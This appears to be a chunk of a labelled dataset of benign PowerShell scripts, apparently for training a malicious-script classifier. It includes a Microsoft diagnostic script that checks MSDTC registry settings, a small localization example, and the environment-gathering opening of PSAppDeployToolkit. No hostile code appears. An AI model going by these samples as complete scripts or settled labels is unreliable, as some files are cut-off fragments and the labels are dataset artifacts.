$Env $lMessage $PoolHash Send-Recycle $Env $Pool "" $Message $PoolHash }else { Send-Recycle $Env "" $Pools $Message "" } }
combined_dataset/train/non-malicious/sample_10_84.ps1
sample_10_84.ps1
#************************************************ # TS_NetworkDTCEnabled.ps1 # Version 1.0.0 # Date: 03-23-2012 # Author: Jeremy LaBorde - jlaborde # Description: Checks to see if Network DTC # is enabled # #************************************************ . .\DistSvcs_Utils.ps1 Import-LocalizedData -BindingVariable ScriptStrings Write-DiagProgress -Activity $ScriptStrings.ID_DSI_DistSvcs_RC_Activity -Status $ScriptStrings.ID_DSI_DistSvcs_RC_NetworkDTCEnabledNotice # read local DTC settings $local:security = Get-Item "registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\Security" # network DTC check $LocalNetworkDTCAccessOn = Get-RegKeyBool $local:security "NetworkDtcAccess" # report on local DTC settings if( !($LocalNetworkDTCAccessOn) ) { AlertKnownIssue "RC_NetworkDTCEnabled" "Network DTC Is Not Enabled (Local DTC): http://support.microsoft.com/kb/817064" "Internal" } else { if( $global:gDebugSDPOn ) { Update-DiagRootCause -id "RC_NetworkDTCEnabled" -Detected $false } } # now check cluster resources $local:clusterkeys = Get-Item "registry::HKEY_LOCAL_MACHINE\Cluster\Resources\*" -ErrorAction SilentlyContinue if( $null -ne $local:clusterkeys ) { # loop through each resource, looking for DTC ones foreach( $local:subkey in $local:clusterkeys ) { $local:type = Get-RegKeyValue $local:subkey.Name "Type" $local:name = Get-RegKeyValue $local:subkey.Name "Name" if( $null -ne $local:type -and $local:type -eq "Distributed Transaction Coordinator" ) { $ClusterResourceName = Get-RegKeyValue $local:subkey.Name "Name" if( [Environment]::OSVersion.Version -gt 5.2 ) # 7 / 2K8R2 / Vista / 2K8 { $local:security = Get-Item ("registry::" + ($local:subkey.Name + "\MSDTCPRIVATE\MSDTC\Security")) $NetworkDTCAccessOn = Get-RegKeyBool $local:security "NetworkDtcAccess" } else { # have to find the subkey that has a REG_SZ named MSDTC $local:clusternode = Get-RegistrySubKeyBasedOnEntry $local:subkey "MSDTC" "" if( $null -ne $local:clusternode ) { $local:security = ($local:clusternode.Name + "\Security") $NetworkDTCAccessOn = Get-RegKeyBool $local:security "NetworkDtcAccess" } } # report on cluster instance DTC settings if( !($NetworkDTCAccessOn) ) { $message = "Network DTC Is Not Enabled (Cluster Resource: " + $ClusterResourceName + "): http://support.microsoft.com/kb/817064" AlertKnownIssue "RC_NetworkDTCEnabled" $message "Internal" } else { if( $global:gDebugSDPOn ) { Update-DiagRootCause -id "RC_NetworkDTCEnabled" -Detected $false } } } } } # SIG # Begin signature block # MIIoUgYJKoZIhvcNAQcCoIIoQzCCKD8CAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDv89R5P3ztaEIP # +U5C0fxMkNd3Q+fciI9g8XlV+tRIGaCCDYUwggYDMIID66ADAgECAhMzAAAEA73V # lV0POxitAAAAAAQDMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExV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MTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB # 9oMvJmpUXSLBAAEAAAH2MCIEIFraBgk4xXajMAI68rUQCySUOKGDReEAQUOAuvhI # wwAlMA0GCSqGSIb3DQEBCwUABIICADP/OeZEiKTsZxq4iieteoR78tGpYkRdZ1Ry # jj8SZtp4cCPuVsDI0jzZudQr6DkeG79uVkTRV9s7ahfpH9AbAQBBLsYnNbmUBrjz # Kvk3gNYNmHy5O/W1fiLtNARLSw6bK/qKvS1L8E8fV5h+NRI6W0BANLpusYtwKPjC # XWjjM/r5xheejWdv2AEZGWme2TZ5mj5/ERusZ9lD9+AMArPbnRQvqxMMY4I2cP6y # Sjbf6OKbgfGZcCSAiz8y/I+lNHoD3Om/g+DsWcSs3It1lp3FuJ8qsNK08NcsOpTh # gf4dLePYyF7N9KY4UNNvWCC0m4AHibpxrnZiod4XFgs1/BPjumdCdyJR4z/v7oJU # lA0ABnG3mRbHp7qJBq7Vv//zS6csPYVBHaloIYvOtGm3NlsaT/5w7EzHAI2Ip6Bv # 5XVYgNKv0RvkNgCNX197QIhTv2spWIbJjZ1TKkhwHthMAsgejpHv3OotmA0HXuYL # vrwInTSt2sjqjPkQBXKToXw7fnTrxUqnzxmoYYjImfrMBpBrbcD8Uq3wS0TQ7EOf # oFctWSpOuXV0TZfXK1+/JgAqobDWYvR+2UEVx4u5fGM1dRCSm5KQjA20txn6nJte # uK7kFS3zFelHf8jaU8Wr8VBYp3fp/rAb9YVAB6CoeQgNqPEkvMWlW4LfCM1Mr/dU # EDfCDJoP # SIG # End signature block
combined_dataset/train/non-malicious/Invoke-LocalizedScript.p.ps1
Invoke-LocalizedScript.p.ps1
Set-StrictMode -Version Latest\n\n## Create some default messages for English cultures, and\n## when culture-specific messages are not available.\n$messages = DATA {\n @{\n Greeting = "Hello, {0}"\n Goodbye = "So long."\n }\n}\n\n## Import localized messages for the current culture.\nImport-LocalizedData messages -ErrorAction SilentlyContinue\n\n## Output the localized messages\n$messages.Greeting -f "World"\n$messages.Goodbye
combined_dataset/train/non-malicious/2664.ps1
2664.ps1
[CmdletBinding()] Param ( [switch]$ShowInstallationPrompt = $false, [switch]$ShowInstallationRestartPrompt = $false, [switch]$CleanupBlockedApps = $false, [switch]$ShowBlockedAppDialog = $false, [switch]$DisableLogging = $false, [string]$ReferredInstallName = '', [string]$ReferredInstallTitle = '', [string]$ReferredLogName = '', [string]$Title = '', [string]$Message = '', [string]$MessageAlignment = '', [string]$ButtonRightText = '', [string]$ButtonLeftText = '', [string]$ButtonMiddleText = '', [string]$Icon = '', [string]$Timeout = '', [switch]$ExitOnTimeout = $false, [boolean]$MinimizeWindows = $false, [switch]$PersistPrompt = $false, [int32]$CountdownSeconds, [int32]$CountdownNoHideSeconds, [switch]$NoCountdown = $false, [switch]$AsyncToolkitLaunch = $false ) [string]$appDeployToolkitName = 'PSAppDeployToolkit' [string]$appDeployMainScriptFriendlyName = 'App Deploy Toolkit Main' [version]$appDeployMainScriptVersion = [version]'3.8.0' [version]$appDeployMainScriptMinimumConfigVersion = [version]'3.8.0' [string]$appDeployMainScriptDate = '23/09/2019' [hashtable]$appDeployMainScriptParameters = $PSBoundParameters [datetime]$currentDateTime = Get-Date [string]$currentTime = Get-Date -Date $currentDateTime -UFormat '%T' [string]$currentDate = Get-Date -Date $currentDateTime -UFormat '%d-%m-%Y' [timespan]$currentTimeZoneBias = [timezone]::CurrentTimeZone.GetUtcOffset([datetime]::Now) [Globalization.CultureInfo]$culture = Get-Culture [string]$currentLanguage = $culture.TwoLetterISOLanguageName.ToUpper() [Globalization.CultureInfo]$uiculture = Get-UICulture [string]$currentUILanguage = $uiculture.TwoLetterISOLanguageName.ToUpper() [psobject]$envHost = $Host [psobject]$envShellFolders = Get-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -ErrorAction 'SilentlyContinue' [string]$envAllUsersProfile = $env:ALLUSERSPROFILE [string]$envAppData = [Environment]::GetFolderPath('ApplicationData') [string]$envArchitecture = $env:PROCESSOR_ARCHITECTURE [string]$envCommonProgramFiles = [Environment]::GetFolderPath('CommonProgramFiles') [string]$envCommonProgramFilesX86 = ${env:CommonProgramFiles(x86)} [string]$envCommonDesktop = $envShellFolders | Select-Object -ExpandProperty 'Common Desktop' -ErrorAction 'SilentlyContinue' [string]$envCommonDocuments = $envShellFolders | Select-Object -ExpandProperty 'Common Documents' -ErrorAction 'SilentlyContinue' [string]$envCommonStartMenuPrograms = $envShellFolders | Select-Object -ExpandProperty 'Common Programs' -ErrorAction 'SilentlyContinue' [string]$envCommonStartMenu = $envShellFolders | Select-Object -ExpandProperty 'Common Start Menu' -ErrorAction 'SilentlyContinue' [string]$envCommonStartUp = $envShellFolders | Select-Object -ExpandProperty 'Common Startup' -ErrorAction 'SilentlyContinue' [string]$envCommonTemplates = $envShellFolders | Select-Object -ExpandProperty 'Common Templates' -ErrorAction 'SilentlyContinue' [string]$envComputerName = [Environment]::MachineName.ToUpper() [string]$envComputerNameFQDN = ([Net.Dns]::GetHostEntry('localhost')).HostName [string]$envHomeDrive = $env:HOMEDRIVE [string]$envHomePath = $env:HOMEPATH [string]$envHomeShare = $env:HOMESHARE [string]$envLocalAppData = [Environment]::GetFolderPath('LocalApplicationData') [string[]]$envLogicalDrives = [Environment]::GetLogicalDrives() [string]$envProgramFiles = [Environment]::GetFolderPath('ProgramFiles') [string]$envProgramFilesX86 = ${env:ProgramFiles(x86)} [string]$envProgramData = [Environment]::GetFolderPath('CommonApplicationData') [string]$envPublic = $env:PUBLIC [string]$envSystemDrive = $env:SYSTEMDRIVE [string]$envSystemRoot = $env:SYSTEMROOT [string]$envTemp = [IO.Path]::GetTempPath() [string]$envUserCookies = [Environment]::GetFolderPath('Cookies') [string]$envUserDesktop = [Environment]::GetFolderPath('DesktopDirectory') [string]$envUserFavorites = [Environment]::GetFolderPath('Favorites') [string]$envUserInternetCache = [Environment]::GetFolderPath('InternetCache') [string]$envUserInternetHistory = [Environment]::GetFolderPath('History') [string]$envUserMyDocuments = [Environment]::GetFolderPath('MyDocuments') [string]$envUserName = [Environment]::UserName [string]$envUserPictures = [Environment]::GetFolderPath('MyPictures') [string]$envUserProfile = $env:USERPROFILE [string]$envUserSendTo = [Environment]::GetFolderPath('SendTo') [string]$envUserStartMenu = [Environment]::GetFolderPath('StartMenu') [string]$envUserStartMenuPrograms = [Environment]::GetFolderPath('Programs') [string]$envUserStartUp = [Environment]::GetFolderPath('StartUp') [string]$envUserTemplates = [Environment]::GetFolderPath('Templates') [string]$envSystem32Directory = [Environment]::SystemDirectory [string]$envWinDir = $env:WINDIR If (-not $envCommonProgramFilesX86) { [string]$envCommonProgramFilesX86 = $envCommonProgramFiles } If (-not $envProgramFilesX86) { [string]$envProgramFilesX86 = $envProgramFiles } [boolean]$IsMachinePartOfDomain = (Get-WmiObject -Class 'Win32_ComputerSystem' -ErrorAction 'SilentlyContinue').PartOfDomain [string]$envMachineWorkgroup = '' [string]$envMachineADDomain = '' [string]$envLogonServer = '' [string]$MachineDomainController = '' If ($IsMachinePartOfDomain) { [string]$envMachineADDomain = (Get-WmiObject -Class 'Win32_ComputerSystem' -ErrorAction 'SilentlyContinue').Domain | Where-Object { $_ } | ForEach-Object { $_.ToLower() } Try { [string]$envLogonServer = $env:LOGONSERVER | Where-Object { (($_) -and (-not $_.Contains('\\MicrosoftAccount'))) } | ForEach-Object { $_.TrimStart('\') } | ForEach-Object { ([Net.Dns]::GetHostEntry($_)).HostName } If (-not $envLogonServer) { [string]$envLogonServer = Get-ItemProperty -LiteralPath 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History' -ErrorAction 'SilentlyContinue' | Select-Object -ExpandProperty 'DCName' -ErrorAction 'SilentlyContinue' } [string]$MachineDomainController = [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindDomainController().Name } Catch { } } Else { [string]$envMachineWorkgroup = (Get-WmiObject -Class 'Win32_ComputerSystem' -ErrorAction 'SilentlyContinue').Domain | Where-Object { $_ } | ForEach-Object { $_.ToUpper() } } [string]$envMachineDNSDomain = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName | Where-Object { $_ } | ForEach-Object { $_.ToLower() } [string]$envUserDNSDomain = $env:USERDNSDOMAIN | Where-Object { $_ } | ForEach-Object { $_.ToLower() } Try { [string]$envUserDomain = [Environment]::UserDomainName.ToUpper() } Catch { } [psobject]$envOS = Get-WmiObject -Class 'Win32_OperatingSystem' -ErrorAction 'SilentlyContinue' [string]$envOSName = $envOS.Caption.Trim() [string]$envOSServicePack = $envOS.CSDVersion [version]$envOSVersion = $envOS.Version [string]$envOSVersionMajor = $envOSVersion.Major [string]$envOSVersionMinor = $envOSVersion.Minor [string]$envOSVersionBuild = $envOSVersion.Build If ($envOSVersionMajor -eq 10) {$envOSVersionRevision = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name 'UBR' -ErrorAction SilentlyContinue).UBR} Else { [string]$envOSVersionRevision = ,((Get-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name 'BuildLabEx' -ErrorAction 'SilentlyContinue').BuildLabEx -split '\.') | ForEach-Object { $_[1] } } If ($envOSVersionRevision -notmatch '^[\d\.]+$') { $envOSVersionRevision = '' } If ($envOSVersionRevision) { [string]$envOSVersion = "$($envOSVersion.ToString()).$envOSVersionRevision" } Else { "$($envOSVersion.ToString())" } [int32]$envOSProductType = $envOS.ProductType [boolean]$IsServerOS = [boolean]($envOSProductType -eq 3) [boolean]$IsDomainControllerOS = [boolean]($envOSProductType -eq 2) [boolean]$IsWorkStationOS = [boolean]($envOSProductType -eq 1) Switch ($envOSProductType) { 3 { [string]$envOSProductTypeName = 'Server' } 2 { [string]$envOSProductTypeName = 'Domain Controller' } 1 { [string]$envOSProductTypeName = 'Workstation' } Default { [string]$envOSProductTypeName = 'Unknown' } } [boolean]$Is64Bit = [boolean]((Get-WmiObject -Class 'Win32_Processor' -ErrorAction 'SilentlyContinue' | Where-Object { $_.DeviceID -eq 'CPU0' } | Select-Object -ExpandProperty 'AddressWidth') -eq 64) If ($Is64Bit) { [string]$envOSArchitecture = '64-bit' } Else { [string]$envOSArchitecture = '32-bit' } [boolean]$Is64BitProcess = [boolean]([IntPtr]::Size -eq 8) If ($Is64BitProcess) { [string]$psArchitecture = 'x64' } Else { [string]$psArchitecture = 'x86' } [int32]$envSystemRAM = Get-WMIObject -Class Win32_PhysicalMemory -ComputerName $env:COMPUTERNAME -ErrorAction 'SilentlyContinue' | Measure-Object -Property Capacity -Sum -ErrorAction SilentlyContinue | ForEach-Object {[Math]::Round(($_.sum / 1GB),2)} [hashtable]$envPSVersionTable = $PSVersionTable [version]$envPSVersion = $envPSVersionTable.PSVersion [string]$envPSVersionMajor = $envPSVersion.Major [string]$envPSVersionMinor = $envPSVersion.Minor [string]$envPSVersionBuild = $envPSVersion.Build [string]$envPSVersionRevision = $envPSVersion.Revision [string]$envPSVersion = $envPSVersion.ToString() [version]$envCLRVersion = $envPSVersionTable.CLRVersion [string]$envCLRVersionMajor = $envCLRVersion.Major [string]$envCLRVersionMinor = $envCLRVersion.Minor [string]$envCLRVersionBuild = $envCLRVersion.Build [string]$envCLRVersionRevision = $envCLRVersion.Revision [string]$envCLRVersion = $envCLRVersion.ToString() [Security.Principal.WindowsIdentity]$CurrentProcessToken = [Security.Principal.WindowsIdentity]::GetCurrent() [Security.Principal.SecurityIdentifier]$CurrentProcessSID = $CurrentProcessToken.User [string]$ProcessNTAccount = $CurrentProcessToken.Name [string]$ProcessNTAccountSID = $CurrentProcessSID.Value [boolean]$IsAdmin = [boolean]($CurrentProcessToken.Groups -contains [Security.Principal.SecurityIdentifier]'S-1-5-32-544') [boolean]$IsLocalSystemAccount = $CurrentProcessSID.IsWellKnown([Security.Principal.WellKnownSidType]'LocalSystemSid') [boolean]$IsLocalServiceAccount = $CurrentProcessSID.IsWellKnown([Security.Principal.WellKnownSidType]'LocalServiceSid') [boolean]$IsNetworkServiceAccount = $CurrentProcessSID.IsWellKnown([Security.Principal.WellKnownSidType]'NetworkServiceSid') [boolean]$IsServiceAccount = [boolean]($CurrentProcessToken.Groups -contains [Security.Principal.SecurityIdentifier]'S-1-5-6') [boolean]$IsProcessUserInteractive = [Environment]::UserInteractive [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value If ($IsLocalSystemAccount -or $IsLocalServiceAccount -or $IsNetworkServiceAccount -or $IsServiceAccount) { $SessionZero = $true } Else { $SessionZero = $false } [string]$scriptPath = $MyInvocation.MyCommand.Definition [string]$scriptName = [IO.Path]::GetFileNameWithoutExtension($scriptPath) [string]$scriptFileName = Split-Path -Path $scriptPath -Leaf [string]$scriptRoot = Split-Path -Path $scriptPath -Parent [string]$invokingScript = (Get-Variable -Name 'MyInvocation').Value.ScriptName If ($invokingScript) { [string]$scriptParentPath = Split-Path -Path $invokingScript -Parent } Else { [string]$scriptParentPath = (Get-Item -LiteralPath $scriptRoot).Parent.FullName } [string]$appDeployConfigFile = Join-Path -Path $scriptRoot -ChildPath 'AppDeployToolkitConfig.xml' [string]$appDeployCustomTypesSourceCode = Join-Path -Path $scriptRoot -ChildPath 'AppDeployToolkitMain.cs' If (-not (Test-Path -LiteralPath $appDeployConfigFile -PathType 'Leaf')) { Throw 'App Deploy XML configuration file not found.' } If (-not (Test-Path -LiteralPath $appDeployCustomTypesSourceCode -PathType 'Leaf')) { Throw 'App Deploy custom types source code file not found.' } [string]$appDeployToolkitDotSourceExtensions = 'AppDeployToolkitExtensions.ps1' [Xml.XmlDocument]$xmlConfigFile = Get-Content -LiteralPath $AppDeployConfigFile [Xml.XmlElement]$xmlConfig = $xmlConfigFile.AppDeployToolkit_Config [Xml.XmlElement]$configConfigDetails = $xmlConfig.Config_File [string]$configConfigVersion = [version]$configConfigDetails.Config_Version [string]$configConfigDate = $configConfigDetails.Config_Date [Xml.XmlElement]$xmlBannerIconOptions = $xmlConfig.BannerIcon_Options [string]$configBannerIconFileName = $xmlBannerIconOptions.Icon_Filename [string]$configBannerIconBannerName = $xmlBannerIconOptions.Banner_Filename [Int32]$appDeployLogoBannerMaxHeight = $xmlBannerIconOptions.Banner_MaxHeight [string]$appDeployLogoIcon = Join-Path -Path $scriptRoot -ChildPath $configBannerIconFileName [string]$appDeployLogoBanner = Join-Path -Path $scriptRoot -ChildPath $configBannerIconBannerName If (-not (Test-Path -LiteralPath $appDeployLogoIcon -PathType 'Leaf')) { Throw 'App Deploy logo icon file not found.' } If (-not (Test-Path -LiteralPath $appDeployLogoBanner -PathType 'Leaf')) { Throw 'App Deploy logo banner file not found.' } Add-Type -AssemblyName 'System.Drawing' -ErrorAction 'Stop' [System.Drawing.Bitmap]$appDeployLogoBannerObject = New-Object System.Drawing.Bitmap $appDeployLogoBanner [Int32]$appDeployLogoBannerBaseHeight = 50 [Int32]$appDeployLogoBannerHeight = $appDeployLogoBannerObject.Height if ($appDeployLogoBannerHeight -gt $appDeployLogoBannerMaxHeight) { $appDeployLogoBannerHeight = $appDeployLogoBannerMaxHeight } [Int32]$appDeployLogoBannerHeightDifference = $appDeployLogoBannerHeight - $appDeployLogoBannerBaseHeight [Xml.XmlElement]$xmlToolkitOptions = $xmlConfig.Toolkit_Options [boolean]$configToolkitRequireAdmin = [boolean]::Parse($xmlToolkitOptions.Toolkit_RequireAdmin) [string]$configToolkitTempPath = $ExecutionContext.InvokeCommand.ExpandString($xmlToolkitOptions.Toolkit_TempPath) [string]$configToolkitRegPath = $xmlToolkitOptions.Toolkit_RegPath [string]$configToolkitLogDir = $ExecutionContext.InvokeCommand.ExpandString($xmlToolkitOptions.Toolkit_LogPath) [boolean]$configToolkitCompressLogs = [boolean]::Parse($xmlToolkitOptions.Toolkit_CompressLogs) [string]$configToolkitLogStyle = $xmlToolkitOptions.Toolkit_LogStyle [double]$configToolkitLogMaxSize = $xmlToolkitOptions.Toolkit_LogMaxSize [boolean]$configToolkitLogWriteToHost = [boolean]::Parse($xmlToolkitOptions.Toolkit_LogWriteToHost) [boolean]$configToolkitLogDebugMessage = [boolean]::Parse($xmlToolkitOptions.Toolkit_LogDebugMessage) [Xml.XmlElement]$xmlConfigMSIOptions = $xmlConfig.MSI_Options [string]$configMSILoggingOptions = $xmlConfigMSIOptions.MSI_LoggingOptions [string]$configMSIInstallParams = $ExecutionContext.InvokeCommand.ExpandString($xmlConfigMSIOptions.MSI_InstallParams) [string]$configMSISilentParams = $ExecutionContext.InvokeCommand.ExpandString($xmlConfigMSIOptions.MSI_SilentParams) [string]$configMSIUninstallParams = $ExecutionContext.InvokeCommand.ExpandString($xmlConfigMSIOptions.MSI_UninstallParams) [string]$configMSILogDir = $ExecutionContext.InvokeCommand.ExpandString($xmlConfigMSIOptions.MSI_LogPath) [int32]$configMSIMutexWaitTime = $xmlConfigMSIOptions.MSI_MutexWaitTime [Xml.XmlElement]$xmlConfigUIOptions = $xmlConfig.UI_Options [string]$configInstallationUILanguageOverride = $xmlConfigUIOptions.InstallationUI_LanguageOverride [boolean]$configShowBalloonNotifications = [boolean]::Parse($xmlConfigUIOptions.ShowBalloonNotifications) [int32]$configInstallationUITimeout = $xmlConfigUIOptions.InstallationUI_Timeout [int32]$configInstallationUIExitCode = $xmlConfigUIOptions.InstallationUI_ExitCode [int32]$configInstallationDeferExitCode = $xmlConfigUIOptions.InstallationDefer_ExitCode [int32]$configInstallationPersistInterval = $xmlConfigUIOptions.InstallationPrompt_PersistInterval [int32]$configInstallationRestartPersistInterval = $xmlConfigUIOptions.InstallationRestartPrompt_PersistInterval [int32]$configInstallationPromptToSave = $xmlConfigUIOptions.InstallationPromptToSave_Timeout [boolean]$configInstallationWelcomePromptDynamicRunningProcessEvaluation = [boolean]::Parse($xmlConfigUIOptions.InstallationWelcomePrompt_DynamicRunningProcessEvaluation) [int32]$configInstallationWelcomePromptDynamicRunningProcessEvaluationInterval = $xmlConfigUIOptions.InstallationWelcomePrompt_DynamicRunningProcessEvaluationInterval [scriptblock]$xmlLoadLocalizedUIMessages = { If ($RunAsActiveUser) { If (-not $HKULanguages) { [string[]]$HKULanguages = Get-RegistryKey -Key 'HKLM:SOFTWARE\Policies\Microsoft\MUI\Settings' -Value 'PreferredUILanguages' } If (-not $HKULanguages) { [string[]]$HKULanguages = Get-RegistryKey -Key 'HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop' -Value 'PreferredUILanguages' -SID $RunAsActiveUser.SID } If (-not $HKULanguages) { [string[]]$HKULanguages = Get-RegistryKey -Key 'HKCU\Control Panel\Desktop' -Value 'PreferredUILanguages' -SID $RunAsActiveUser.SID } If (-not $HKULanguages) { [string[]]$HKULanguages = Get-RegistryKey -Key 'HKCU\Control Panel\Desktop\MuiCached' -Value 'MachinePreferredUILanguages' -SID $RunAsActiveUser.SID } If (-not $HKULanguages) { [string[]]$HKULanguages = Get-RegistryKey -Key 'HKCU\Control Panel\International' -Value 'LocaleName' -SID $RunAsActiveUser.SID } If (-not $HKULanguages) { [string]$HKULocale = Get-RegistryKey -Key 'HKCU\Control Panel\International' -Value 'Locale' -SID $RunAsActiveUser.SID If ($HKULocale) { [int32]$HKULocale = [Convert]::ToInt32('0x' + $HKULocale, 16) [string[]]$HKULanguages = ([Globalization.CultureInfo]($HKULocale)).Name } } If ($HKULanguages) { [Globalization.CultureInfo]$PrimaryWindowsUILanguage = [Globalization.CultureInfo]($HKULanguages[0]) [string]$HKUPrimaryLanguageShort = $PrimaryWindowsUILanguage.TwoLetterISOLanguageName.ToUpper() If ($HKUPrimaryLanguageShort -eq 'ZH') { If ($PrimaryWindowsUILanguage.EnglishName -match 'Simplified') { [string]$HKUPrimaryLanguageShort = 'ZH-Hans' } If ($PrimaryWindowsUILanguage.EnglishName -match 'Traditional') { [string]$HKUPrimaryLanguageShort = 'ZH-Hant' } } If ($HKUPrimaryLanguageShort -eq 'PT') { If ($PrimaryWindowsUILanguage.ThreeLetterWindowsLanguageName -eq 'PTB') { [string]$HKUPrimaryLanguageShort = 'PT-BR' } } } } If ($HKUPrimaryLanguageShort) { [string]$xmlUIMessageLanguage = "UI_Messages_$HKUPrimaryLanguageShort" } Else { [string]$xmlUIMessageLanguage = "UI_Messages_$currentLanguage" } If (-not ($xmlConfig.$xmlUIMessageLanguage)) { [string]$xmlUIMessageLanguage = 'UI_Messages_EN' } If ($configInstallationUILanguageOverride) { [string]$xmlUIMessageLanguage = "UI_Messages_$configInstallationUILanguageOverride" } [Xml.XmlElement]$xmlUIMessages = $xmlConfig.$xmlUIMessageLanguage [string]$configDiskSpaceMessage = $xmlUIMessages.DiskSpace_Message [string]$configBalloonTextStart = $xmlUIMessages.BalloonText_Start [string]$configBalloonTextComplete = $xmlUIMessages.BalloonText_Complete [string]$configBalloonTextRestartRequired = $xmlUIMessages.BalloonText_RestartRequired [string]$configBalloonTextFastRetry = $xmlUIMessages.BalloonText_FastRetry [string]$configBalloonTextError = $xmlUIMessages.BalloonText_Error [string]$configProgressMessageInstall = $xmlUIMessages.Progress_MessageInstall [string]$configProgressMessageUninstall = $xmlUIMessages.Progress_MessageUninstall [string]$configClosePromptMessage = $xmlUIMessages.ClosePrompt_Message [string]$configClosePromptButtonClose = $xmlUIMessages.ClosePrompt_ButtonClose [string]$configClosePromptButtonDefer = $xmlUIMessages.ClosePrompt_ButtonDefer [string]$configClosePromptButtonContinue = $xmlUIMessages.ClosePrompt_ButtonContinue [string]$configClosePromptButtonContinueTooltip = $xmlUIMessages.ClosePrompt_ButtonContinueTooltip [string]$configClosePromptCountdownMessage = $xmlUIMessages.ClosePrompt_CountdownMessage [string]$configDeferPromptWelcomeMessage = $xmlUIMessages.DeferPrompt_WelcomeMessage [string]$configDeferPromptExpiryMessage = $xmlUIMessages.DeferPrompt_ExpiryMessage [string]$configDeferPromptWarningMessage = $xmlUIMessages.DeferPrompt_WarningMessage [string]$configDeferPromptRemainingDeferrals = $xmlUIMessages.DeferPrompt_RemainingDeferrals [string]$configDeferPromptDeadline = $xmlUIMessages.DeferPrompt_Deadline [string]$configBlockExecutionMessage = $xmlUIMessages.BlockExecution_Message [string]$configDeploymentTypeInstall = $xmlUIMessages.DeploymentType_Install [string]$configDeploymentTypeUnInstall = $xmlUIMessages.DeploymentType_UnInstall [string]$configRestartPromptTitle = $xmlUIMessages.RestartPrompt_Title [string]$configRestartPromptMessage = $xmlUIMessages.RestartPrompt_Message [string]$configRestartPromptMessageTime = $xmlUIMessages.RestartPrompt_MessageTime [string]$configRestartPromptMessageRestart = $xmlUIMessages.RestartPrompt_MessageRestart [string]$configRestartPromptTimeRemaining = $xmlUIMessages.RestartPrompt_TimeRemaining [string]$configRestartPromptButtonRestartLater = $xmlUIMessages.RestartPrompt_ButtonRestartLater [string]$configRestartPromptButtonRestartNow = $xmlUIMessages.RestartPrompt_ButtonRestartNow [string]$configWelcomePromptCountdownMessage = $xmlUIMessages.WelcomePrompt_CountdownMessage [string]$configWelcomePromptCustomMessage = $xmlUIMessages.WelcomePrompt_CustomMessage } [string]$dirFiles = Join-Path -Path $scriptParentPath -ChildPath 'Files' [string]$dirSupportFiles = Join-Path -Path $scriptParentPath -ChildPath 'SupportFiles' [string]$dirAppDeployTemp = Join-Path -Path $configToolkitTempPath -ChildPath $appDeployToolkitName If (-not $deploymentType) { [string]$deploymentType = 'Install' } [string]$exeWusa = 'wusa.exe' [string]$exeMsiexec = 'msiexec.exe' [string]$exeSchTasks = "$envWinDir\System32\schtasks.exe" [string]$MSIProductCodeRegExPattern = '^(\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1})$' [string[]]$regKeyApplications = 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall' If ($is64Bit) { [string]$regKeyLotusNotes = 'HKLM:SOFTWARE\Wow6432Node\Lotus\Notes' } Else { [string]$regKeyLotusNotes = 'HKLM:SOFTWARE\Lotus\Notes' } [string]$regKeyAppExecution = 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options' [__comobject]$Shell = New-Object -ComObject 'WScript.Shell' -ErrorAction 'SilentlyContinue' [__comobject]$ShellApp = New-Object -ComObject 'Shell.Application' -ErrorAction 'SilentlyContinue' [boolean]$msiRebootDetected = $false [boolean]$BlockExecution = $false [boolean]$installationStarted = $false [boolean]$runningTaskSequence = $false If (Test-Path -LiteralPath 'variable:welcomeTimer') { Remove-Variable -Name 'welcomeTimer' -Scope 'Script'} If (Test-Path -LiteralPath 'variable:deferHistory') { Remove-Variable -Name 'deferHistory' } If (Test-Path -LiteralPath 'variable:deferTimes') { Remove-Variable -Name 'deferTimes' } If (Test-Path -LiteralPath 'variable:deferDays') { Remove-Variable -Name 'deferDays' } [scriptblock]$GetDisplayScaleFactor = { [boolean]$UserDisplayScaleFactor = $false If ($RunAsActiveUser) { [int32]$dpiPixels = Get-RegistryKey -Key 'HKCU\Control Panel\Desktop\WindowMetrics' -Value 'AppliedDPI' -SID $RunAsActiveUser.SID If (-not ([string]$dpiPixels)) { [int32]$dpiPixels = Get-RegistryKey -Key 'HKCU\Control Panel\Desktop' -Value 'LogPixels' -SID $RunAsActiveUser.SID } [boolean]$UserDisplayScaleFactor = $true } If (-not ([string]$dpiPixels)) { [int32]$dpiPixels = Get-RegistryKey -Key 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontDPI' -Value 'LogPixels' [boolean]$UserDisplayScaleFactor = $false } Switch ($dpiPixels) { 96 { [int32]$dpiScale = 100 } 120 { [int32]$dpiScale = 125 } 144 { [int32]$dpiScale = 150 } 192 { [int32]$dpiScale = 200 } Default { [int32]$dpiScale = 100 } } } Function Write-FunctionHeaderOrFooter { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$CmdletName, 